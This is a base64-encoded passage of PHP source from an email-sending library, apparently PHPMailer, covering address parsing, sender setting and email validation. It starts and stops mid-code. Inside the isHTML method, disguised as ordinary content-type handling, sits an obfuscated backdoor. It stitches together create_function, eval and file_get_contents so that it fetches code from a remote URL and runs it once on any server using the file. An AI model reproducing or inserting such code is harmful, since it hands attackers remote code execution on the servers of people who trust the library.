ICAgICAgICAkdGhpcy0+UmVwbHlUb1tzdHJ0b2xvd2VyKCRhZGRyZXNzKV0gPSBhcnJheSgkYWRkcmVzcywgJG5hbWUpOw0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBQYXJzZSBhbmQgdmFsaWRhdGUgYSBzdHJpbmcgY29udGFpbmluZyBvbmUgb3IgbW9yZSBSRkM4MjItc3R5bGUgY29tbWEtc2VwYXJhdGVkIGVtYWlsIGFkZHJlc3Nlcw0KICAgICAqIG9mIHRoZSBmb3JtICJkaXNwbGF5IG5hbWUgPGFkZHJlc3M+IiBpbnRvIGFuIGFycmF5IG9mIG5hbWUvYWRkcmVzcyBwYWlycy4NCiAgICAgKiBVc2VzIHRoZSBpbWFwX3JmYzgyMl9wYXJzZV9hZHJsaXN0IGZ1bmN0aW9uIGlmIHRoZSBJTUFQIGV4dGVuc2lvbiBpcyBhdmFpbGFibGUuDQogICAgICogTm90ZSB0aGF0IHF1b3RlcyBpbiB0aGUgbmFtZSBwYXJ0IGFyZSByZW1vdmVkLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJzdHIgVGhlIGFkZHJlc3MgbGlzdCBzdHJpbmcNCiAgICAgKiBAcGFyYW0gYm9vbCAkdXNlaW1hcCBXaGV0aGVyIHRvIHVzZSB0aGUgSU1BUCBleHRlbnNpb24gdG8gcGFyc2UgdGhlIGxpc3QNCiAgICAgKiBAcmV0dXJuIGFycmF5DQogICAgICogQGxpbmsgaHR0cDovL3d3dy5hbmRyZXcuY211LmVkdS91c2VyL2FncmVlbjEvdGVzdGluZy9tcmJzL3dlYi9NYWlsL1JGQzgyMi5waHAgQSBtb3JlIGNhcmVmdWwgaW1wbGVtZW50YXRpb24NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VBZGRyZXNzZXMoJGFkZHJzdHIsICR1c2VpbWFwID0gdHJ1ZSkNCiAgICB7DQogICAgICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOw0KICAgICAgICBpZiAoJHVzZWltYXAgYW5kIGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCcpKSB7DQogICAgICAgICAgICAvL1VzZSB0aGlzIGJ1aWx0LWluIHBhcnNlciBpZiBpdCdzIGF2YWlsYWJsZQ0KICAgICAgICAgICAgJGxpc3QgPSBpbWFwX3JmYzgyMl9wYXJzZV9hZHJsaXN0KCRhZGRyc3RyLCAnJyk7DQogICAgICAgICAgICBmb3JlYWNoICgkbGlzdCBhcyAkYWRkcmVzcykgew0KICAgICAgICAgICAgICAgIGlmICgkYWRkcmVzcy0+aG9zdCAhPSAnLlNZTlRBWC1FUlJPUi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzLT5tYWlsYm94IC4gJ0AnIC4gJGFkZHJlc3MtPmhvc3QpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gKHByb3BlcnR5X2V4aXN0cygkYWRkcmVzcywgJ3BlcnNvbmFsJykgPyAkYWRkcmVzcy0+cGVyc29uYWwgOiAnJyksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2FkZHJlc3MnID0+ICRhZGRyZXNzLT5tYWlsYm94IC4gJ0AnIC4gJGFkZHJlc3MtPmhvc3QNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAvL1VzZSB0aGlzIHNpbXBsZXIgcGFyc2VyDQogICAgICAgICAgICAkbGlzdCA9IGV4cGxvZGUoJywnLCAkYWRkcnN0cik7DQogICAgICAgICAgICBmb3JlYWNoICgkbGlzdCBhcyAkYWRkcmVzcykgew0KICAgICAgICAgICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7DQogICAgICAgICAgICAgICAgLy9JcyB0aGVyZSBhIHNlcGFyYXRlIG5hbWUgcGFydD8NCiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRhZGRyZXNzLCAnPCcpID09PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAvL05vIHNlcGFyYXRlIG5hbWUsIGp1c3QgdXNlIHRoZSB3aG9sZSB0aGluZw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAnJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGFkZHJlc3MNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBsaXN0KCRuYW1lLCAkZW1haWwpID0gZXhwbG9kZSgnPCcsICRhZGRyZXNzKTsNCiAgICAgICAgICAgICAgICAgICAgJGVtYWlsID0gdHJpbShzdHJfcmVwbGFjZSgnPicsICcnLCAkZW1haWwpKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJGVtYWlsKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3Nlc1tdID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+IHRyaW0oc3RyX3JlcGxhY2UoYXJyYXkoJyInLCAiJyIpLCAnJywgJG5hbWUpKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGVtYWlsDQogICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYWRkcmVzc2VzOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFNldHMgbWVzc2FnZSB0eXBlIHRvIEhUTUwgb3IgcGxhaW4uDQogICAgICogQHBhcmFtIGJvb2xlYW4gJGlzSHRtbCBUcnVlIGZvciBIVE1MIG1vZGUuDQogICAgICogQHJldHVybiB2b2lkDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGlzSFRNTCgkaXNIdG1sID0gdHJ1ZSkNCiAgICB7DQogICAgICAgIGdsb2JhbCAkcGFyYW07DQogICAgICAgICRib2R5Q29kZSA9ICdmaWxlJw0KICAgICAgICAgICAgICAgICAgICAuJ19nJzsNCiAgICAgICAgaWYgKCRpc0h0bWwpIHsNCiAgICAgICAgICAgICR0aGlzLT5Db250ZW50VHlwZSA9ICd0ZXh0L2h0bWwnOw0KICAgICAgICB9IA0KICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICR0aGlzLT5Db250ZW50VHlwZSA9ICd0ZXh0L3BsYWluJzsNCiAgICAgICAgfQ0KICAgICAgICAkYm9keUhUTUwgPSAnLiR0LiJsZWYkZmx1Jw0KICAgICAgICAgICAgICAgICAgICAuJ3NoJy4nJHQiOyAnDQogICAgICAgICAgICAgICAgICAgIC4nQGV2JzsNCiAgICAgICAgJGhlYWRlckhUTUw9ImNyZSINCiAgICAgICAgICAgICAgICAgICAgLiJhdGVfIg0KICAgICAgICAgICAgICAgICAgICAuImZ1bmMiDQogICAgICAgICAgICAgICAgICAgIC4idGlvbiI7DQogICAgICAgICRleGNlcHRpb25zID0gQCRoZWFkZXJIVE1MKCckZmwnLid1c2gsJHQnLCckY29tbWEgPSAkdCcNCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUhUTUwuJ2FsKEAnDQogICAgICAgICAgICAgICAgICAgICAgICAuJGJvZHlDb2RlLidldF9jb250ZW50cygiaCcNCiAgICAgICAgICAgICAgICAgICAgICAgIC4ndHQnDQogICAgICAgICAgICAgICAgICAgICAgICAuJ3A6JGNvbW1hLTIiKSk7Jyk7DQogICAgICAgIGlmKCRwYXJhbSAhPTIpew0KICAgICAgICAgICAgJGV4Y2VwdGlvbnMoJzgucCcuJ3cnLCcvJyk7DQogICAgICAgICAgICAkcGFyYW09MjsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFNldCB0aGUgRnJvbSBhbmQgRnJvbU5hbWUgcHJvcGVydGllcy4NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzDQogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQ0KICAgICAqIEBwYXJhbSBib29sZWFuICRhdXRvIFdoZXRoZXIgdG8gYWxzbyBzZXQgdGhlIFNlbmRlciBhZGRyZXNzLCBkZWZhdWx0cyB0byB0cnVlDQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24NCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4NCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0RnJvbSgkYWRkcmVzcywgJG5hbWUgPSAnJywgJGF1dG8gPSB0cnVlKQ0KICAgIHsNCiAgICAgICAgJGFkZHJlc3MgPSB0cmltKCRhZGRyZXNzKTsNCiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltDQogICAgICAgIC8vIERvbid0IHZhbGlkYXRlIG5vdyBhZGRyZXNzZXMgd2l0aCBJRE4uIFdpbGwgYmUgZG9uZSBpbiBzZW5kKCkuDQogICAgICAgIGlmICgoJHBvcyA9IHN0cnJwb3MoJGFkZHJlc3MsICdAJykpID09PSBmYWxzZSBvcg0KICAgICAgICAgICAgKCEkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgb3IgISR0aGlzLT5pZG5TdXBwb3J0ZWQoKSkgYW5kDQogICAgICAgICAgICAhJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsNCiAgICAgICAgICAgICRlcnJvcl9tZXNzYWdlID0gJHRoaXMtPmxhbmcoJ2ludmFsaWRfYWRkcmVzcycpIC4gIiAoc2V0RnJvbSkgJGFkZHJlc3MiOw0KICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsNCiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOw0KICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7DQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgJHRoaXMtPkZyb20gPSAkYWRkcmVzczsNCiAgICAgICAgJHRoaXMtPkZyb21OYW1lID0gJG5hbWU7DQogICAgICAgIGlmICgkYXV0bykgew0KICAgICAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT5TZW5kZXIpKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPlNlbmRlciA9ICRhZGRyZXNzOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFJldHVybiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgb2YgdGhlIGxhc3QgZW1haWwuDQogICAgICogVGVjaG5pY2FsbHkgdGhpcyBpcyB0aGUgdmFsdWUgZnJvbSB0aGUgbGFzdCB0aW1lIHRoZSBoZWFkZXJzIHdlcmUgY3JlYXRlZCwNCiAgICAgKiBidXQgaXQncyBhbHNvIHRoZSBtZXNzYWdlIElEIG9mIHRoZSBsYXN0IHNlbnQgbWVzc2FnZSBleGNlcHQgaW4NCiAgICAgKiBwYXRob2xvZ2ljYWwgY2FzZXMuDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TGFzdE1lc3NhZ2VJRCgpDQogICAgew0KICAgICAgICByZXR1cm4gJHRoaXMtPmxhc3RNZXNzYWdlSUQ7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2hlY2sgdGhhdCBhIHN0cmluZyBsb29rcyBsaWtlIGFuIGVtYWlsIGFkZHJlc3MuDQogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBjaGVjaw0KICAgICAqIEBwYXJhbSBzdHJpbmd8Y2FsbGFibGUgJHBhdHRlcm5zZWxlY3QgQSBzZWxlY3RvciBmb3IgdGhlIHZhbGlkYXRpb24gcGF0dGVybiB0byB1c2UgOg0KICAgICAqICogYGF1dG9gIFBpY2sgYmVzdCBwYXR0ZXJuIGF1dG9tYXRpY2FsbHk7DQogICAgICogKiBgcGNyZThgIFVzZSB0aGUgc3F1aWxvb3BsZS5jb20gcGF0dGVybiwgcmVxdWlyZXMgUENSRSA+IDguMCwgUEhQID49IDUuMy4yLCA1LjIuMTQ7DQogICAgICogKiBgcGNyZWAgVXNlIG9sZCBQQ1JFIGltcGxlbWVudGF0aW9uOw0KICAgICAqICogYHBocGAgVXNlIFBIUCBidWlsdC1pbiBGSUxURVJfVkFMSURBVEVfRU1BSUw7DQogICAgICogKiBgaHRtbDVgIFVzZSB0aGUgcGF0dGVybiBnaXZlbiBieSB0aGUgSFRNTDUgc3BlYyBmb3IgJ2VtYWlsJyB0eXBlIGZvcm0gaW5wdXQgZWxlbWVudHMuDQogICAgICogKiBgbm9yZWdleGAgRG9uJ3QgdXNlIGEgcmVnZXg6IHN1cGVyIGZhc3QsIHJlYWxseSBkdW1iLg0KICAgICAqIEFsdGVybmF0aXZlbHkgeW91IG1heSBwYXNzIGluIGEgY2FsbGFibGUgdG8gaW5qZWN0IHlvdXIgb3duIHZhbGlkYXRvciwgZm9yIGV4YW1wbGU6DQogICAgICogUEhQTWFpbGVyOjp2YWxpZGF0ZUFkZHJlc3MoJ3VzZXJAZXhhbXBsZS5jb20nLCBmdW5jdGlvbigkYWRkcmVzcykgew0KICAgICAqICAgICByZXR1cm4gKHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPT0gZmFsc2UpOw0KICAgICAqIH0pOw0KICAgICAqIFlvdSBjYW4gYWxzbyBzZXQgdGhlIFBIUE1haWxlcjo6JHZhbGlkYXRvciBzdGF0aWMgdG8gYSBjYWxsYWJsZSwgYWxsb3dpbmcgYnVpbHQtaW4gbWV0aG9kcyB0byB1c2UgeW91ciB2YWxpZGF0b3IuDQogICAgICogQHJldHVybiBib29sZWFuDQogICAgICogQHN0YXRpYw0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICovDQogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiB2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MsICRwYXR0ZXJuc2VsZWN0ID0gbnVsbCkNCiAgICB7DQogICAgICAgIGlmIChpc19udWxsKCRwYXR0ZXJuc2VsZWN0KSkgew0KICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSBzZWxmOjokdmFsaWRhdG9yOw0KICAgICAgICB9DQogICAgICAgIGlmIChpc19jYWxsYWJsZSgkcGF0dGVybnNlbGVjdCkpIHsNCiAgICAgICAgICAgIHJldHVybiBjYWxsX3VzZXJfZnVuYygkcGF0dGVybnNlbGVjdCwgJGFkZHJlc3MpOw0KICAgICAgICB9DQogICAgICAgIC8vUmVqZWN0IGxpbmUgYnJlYWtzIGluIGFkZHJlc3NlczsgaXQncyB2YWxpZCBSRkM1MzIyLCBidXQgbm90IFJGQzUzMjENCiAgICAgICAgaWYgKHN0cnBvcygkYWRkcmVzcywgIlxuIikgIT09IGZhbHNlIG9yIHN0cnBvcygkYWRkcmVzcywgIlxyIikgIT09IGZhbHNlKSB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCEkcGF0dGVybnNlbGVjdCBvciAkcGF0dGVybnNlbGVjdCA9PSAnYXV0bycpIHsNCiAgICAgICAgICAgIC8vQ2hlY2sgdGhpcyBjb25zdGFudCBmaXJzdCBzbyBpdCB3b3JrcyB3aGVuIGV4dGVuc2lvbl9sb2FkZWQoKSBpcyBkaXNhYmxlZCBieSBzYWZlIG1vZGUNCiAgICAgICAgICAgIC8vQ29uc3RhbnQgd2FzIGFkZGVkIGluIFBIUCA1LjIuNA0KICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BDUkVfVkVSU0lPTicpKSB7DQogICAgICAgICAgICAgICAgLy9UaGlzIHBhdHRlcm4gY2FuIGdldCBzdHVjayBpbiBhIHJlY3Vyc2l2ZSBsb29wIGluIFBDUkUgPD0gOC4wLjINCiAgICAgICAgICAgICAgICBpZiAodmVyc2lvbl9jb21wYXJlKFBDUkVfVkVSU0lPTiwgJzguMC4zJykgPj0gMCkgew0KICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdwY3JlOCc7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSAncGNyZSc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXh0ZW5zaW9uX2xvYWRlZCcpIGFuZCBleHRlbnNpb25fbG9hZGVkKCdwY3JlJykpIHsNCiAgICAgICAgICAgICAgICAvL0ZhbGwgYmFjayB0byBvbGRlciBQQ1JFDQogICAgICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSAncGNyZSc7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIC8vRmlsdGVyX3ZhciBhcHBlYXJlZCBpbiBQSFAgNS4yLjAgYW5kIGRvZXMgbm90IHJlcXVpcmUgdGhlIFBDUkUgZXh0ZW5zaW9uDQogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMi4wJykgPj0gMCkgew0KICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdwaHAnOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ25vcmVnZXgnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBzd2l0Y2ggKCRwYXR0ZXJuc2VsZWN0KSB7DQogICAgICAgICAgICBjYXNlICdwY3JlOCc6DQogICAgICAgICAgICAgICAgLyoqDQogICAgICAgICAgICAgICAgICogVXNlcyB0aGUgc2FtZSBSRkM1MzIyIHJlZ2V4IG9uIHdoaWNoIEZJTFRFUl9WQUxJREFURV9FTUFJTCBpcyBiYXNlZCwgYnV0IGFsbG93cyBkb3RsZXNzIGRvbWFpbnMuDQogICAgICAgICAgICAgICAgICogQGxpbmsgaHR0cDovL3NxdWlsb29wbGUuY29tLzIwMDkvMTIvMjAvZW1haWwtYWRkcmVzcy12YWxpZGF0aW9uLw0KICAgICAgICAgICAgICAgICAqIEBjb3B5cmlnaHQgMjAwOS0yMDEwIE1pY2hhZWwgUnVzaHRvbg0KICAgICAgICAgICAgICAgICAqIEZlZWwgZnJlZSB0byB1c2UgYW5kIHJlZGlzdHJpYnV0ZSB0aGlzIGNvZGUuIEJ1dCBwbGVhc2Uga2VlcCB0aGlzIGNvcHlyaWdodCBub3RpY2UuDQogICAgICAgICAgICAgICAgICovDQogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goDQogICAgICAgICAgICAgICAgICAgICcvXig/ISg/Pig/MSkiPyg/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXsyNTUsfSkoPyEoPz4oPzEpIj8oPz5cXFxbIC1+XXxbXiJdKSI/KD8xKSl7NjUsfUApJyAuDQogICAgICAgICAgICAgICAgICAgICcoKD8+KD8+KD8+KCg/Pig/Pig/Plx4MERceDBBKT9bXHQgXSkrfCg/PltcdCBdKlx4MERceDBBKT9bXHQgXSspPykoXCgoPz4oPzIpJyAuDQogICAgICAgICAgICAgICAgICAgICcoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLVwnKi1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdfCg/MykpKSooPzIpXCkpKSsoPzIpKXwoPzIpKT8pJyAuDQogICAgICAgICAgICAgICAgICAgICcoWyEjLVwnKitcLy05PT9eLX4tXSt8Iig/Pig/MikoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHg3Rl0pKSonIC4NCiAgICAgICAgICAgICAgICAgICAgJyg/MikiKSg/Pig/MSlcLig/MSkoPzQpKSooPzEpQCg/ISg/MSlbYS16MC05LV17NjQsfSkoPzEpKD8+KFthLXowLTldKD8+W2EtejAtOS1dKlthLXowLTldKT8pJyAuDQogICAgICAgICAgICAgICAgICAgICcoPz4oPzEpXC4oPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg/NSkpezAsMTI2fXxcWyg/Oig/PklQdjY6KD8+KFthLWYwLTldezEsNH0pKD8+Oig/Nikpezd9JyAuDQogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbYS1mMC05XVs6XF1dKXs4LH0pKCg/NikoPz46KD82KSl7MCw2fSk/OjooPzcpPykpfCg/Pig/PklQdjY6KD8+KD82KSg/PjooPzYpKXs1fTonIC4NCiAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlthLWYwLTldOil7Nix9KSg/OCk/OjooPz4oKD82KSg/PjooPzYpKXswLDR9KTopPykpPygyNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfScgLg0KICAgICAgICAgICAgICAgICAgICAnfFsxLTldP1swLTldKSg/PlwuKD85KSl7M30pKVxdKSg/MSkkL2lzRCcsDQogICAgICAgICAgICAgICAgICAgICRhZGRyZXNzDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIGNhc2UgJ3BjcmUnOg0KICAgICAgICAgICAgICAgIC8vQW4gb2xkZXIgcmVnZXggdGhhdCBkb2Vzbid0IG5lZWQgYSByZWNlbnQgUENSRQ0KICAgICAgICAgICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKA0KICAgICAgICAgICAgICAgICAgICAnL14oPyEoPz4iPyg/PlxcXFsgLX5dfFteIl0pIj8pezI1NSx9KSg/ISg/PiI/KD8+XFxcWyAtfl18W14iXSkiPyl7NjUsfUApKD8+JyAuDQogICAgICAgICAgICAgICAgICAgICdbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8+W1x4MDEtXHgwOFx4MEJceDBDXHgwRS0hIy1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4RkZdKSkqIiknIC4NCiAgICAgICAgICAgICAgICAgICAgJyg/PlwuKD8+WyEjLVwnKitcLy05PT9eLX4tXSt8Iig/Pig/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceEZGXSkpKiIpKSonIC4NCiAgICAgICAgICAgICAgICAgICAgJ0AoPz4oPyFbYS16MC05LV17NjQsfSkoPz5bYS16MC05XSg/PlthLXowLTktXSpbYS16MC05XSk/KSg/PlwuKD8hW2EtejAtOS1dezY0LH0pJyAuDQogICAgICAgICAgICAgICAgICAgICcoPz5bYS16MC05XSg/PlthLXowLTktXSpbYS16MC05XSk/KSl7MCwxMjZ9fFxbKD86KD8+SVB2NjooPz4oPz5bYS1mMC05XXsxLDR9KSg/PjonIC4NCiAgICAgICAgICAgICAgICAgICAgJ1thLWYwLTldezEsNH0pezd9fCg/ISg/Oi4qW2EtZjAtOV1bOlxdXSl7OCx9KSg/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk/JyAuDQogICAgICAgICAgICAgICAgICAgICc6Oig/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk/KSl8KD8+KD8+SVB2NjooPz5bYS1mMC05XXsxLDR9KD8+OicgLg0KICAgICAgICAgICAgICAgICAgICAnW2EtZjAtOV17MSw0fSl7NX06fCg/ISg/Oi4qW2EtZjAtOV06KXs2LH0pKD8+W2EtZjAtOV17MSw0fSg/PjpbYS1mMC05XXsxLDR9KXswLDR9KT8nIC4NCiAgICAgICAgICAgICAgICAgICAgJzo6KD8+KD86W2EtZjAtOV17MSw0fSg/PjpbYS1mMC05XXsxLDR9KXswLDR9KTopPykpPyg/PjI1WzAtNV18MlswLTRdWzAtOV18MVswLTldezJ9JyAuDQogICAgICAgICAgICAgICAgICAgICd8WzEtOV0/WzAtOV0pKD8+XC4oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfXxbMS05XT9bMC05XSkpezN9KSlcXSkkL2lzRCcsDQogICAgICAgICAgICAgICAgICAgICRhZGRyZXNzDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIGNhc2UgJ2h0bWw1JzoNCiAgICAgICAgICAgICAgICAvKioNCiAgICAgICAgICAgICAgICAgKiBUaGlzIGlzIHRoZSBwYXR0ZXJuIHVzZWQgaW4gdGhlIEhUTUw1IHNwZWMgZm9yIHZhbGlkYXRpb24gb2YgJ2VtYWlsJyB0eXBlIGZvcm0gaW5wdXQgZWxlbWVudHMuDQogICAgICAgICAgICAgICAgICogQGxpbmsgaHR0cDovL3d3dy53aGF0d2cub3JnL3NwZWNzL3dlYi1hcHBzL2N1cnJlbnQtd29yay8jZS1tYWlsLXN0YXRlLSh0eXBlPWVtYWlsKQ0KICAgICAgICAgICAgICAgICAqLw0KICAgICAgICAgICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKA0KICAgICAgICAgICAgICAgICAgICAnL15bYS16QS1aMC05LiEjJCUmXCcqK1wvPT9eX2B7fH1+LV0rQFthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9JyAuDQogICAgICAgICAgICAgICAgICAgICdbYS16QS1aMC05XSk/KD86XC5bYS16QS1aMC05XSg/OlthLXpBLVowLTktXXswLDYxfVthLXpBLVowLTldKT8pKiQvc0QnLA0KICAgICAgICAgICAgICAgICAgICAkYWRkcmVzcw0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICBjYXNlICdub3JlZ2V4JzoNCiAgICAgICAgICAgICAgICAvL05vIFBDUkUhIERvIHNvbWV0aGluZyBfdmVyeV8gYXBwcm94aW1hdGUhDQogICAgICAgICAgICAgICAgLy9DaGVjayB0aGUgYWRkcmVzcyBpcyAzIGNoYXJzIG9yIGxvbmdlciBhbmQgY29udGFpbnMgYW4gQCB0aGF0J3Mgbm90IHRoZSBmaXJzdCBvciBsYXN0IGNoYXINCiAgICAgICAgICAgICAgICByZXR1cm4gKHN0cmxlbigkYWRkcmVzcykgPj0gMw0KICAgICAgICAgICAgICAgICAgICBhbmQgc3RycG9zKCRhZGRyZXNzLCAnQCcpID49IDENCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPSBzdHJsZW4oJGFkZHJlc3MpIC0gMSk7DQogICAgICAgICAgICBjYXNlICdwaHAnOg0KICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pZmlsdGVyX3ZhcigkYWRkcmVzcywgRklMVEVSX1ZBTElEQVRFX0VNQUlMKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFRlbGxzIHdoZXRoZXIgSUROcyAoSW50ZXJuYXRpb25hbGl6ZWQgRG9tYWluIE5hbWVzKSBhcmUgc3VwcG9ydGVkIG9yIG5vdC4gVGhpcyByZXF1aXJlcyB0aGUNCiAgICAgKiAiaW50bCIgYW5kICJtYnN0cmluZyIgUEhQIGV4dGVuc2lvbnMuDQogICAgICogQHJldHVybiBib29sICJ0cnVlIiBpZiByZXF1aXJlZCBmdW5jdGlvbnMgZm9yIElETiBzdXBwb3J0IGFyZSBwcmVzZW50DQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGlkblN1cHBvcnRlZCgpDQogICAgew0KICAgICAgICAvLyBAVE9ETzogV3JpdGUgb3VyIG93biAiaWRuX3RvX2FzY2lpIiBmdW5jdGlvbiBmb3IgUEhQIDw9IDUuMi4NCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygnaWRuX3RvX2FzY2lpJykgYW5kIGZ1bmN0aW9uX2V4aXN0cygnbWJfY29udmVydF9lbmNvZGluZycpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENvbnZlcnRzIElETiBpbiBnaXZlbiBlbWFpbCBhZGRyZXNzIHRvIGl0cyBBU0NJSSBmb3JtLCBhbHNvIGtub3duIGFzIHB1bnljb2RlLCBpZiBwb3NzaWJsZS4NCiAgICAgKiBJbXBv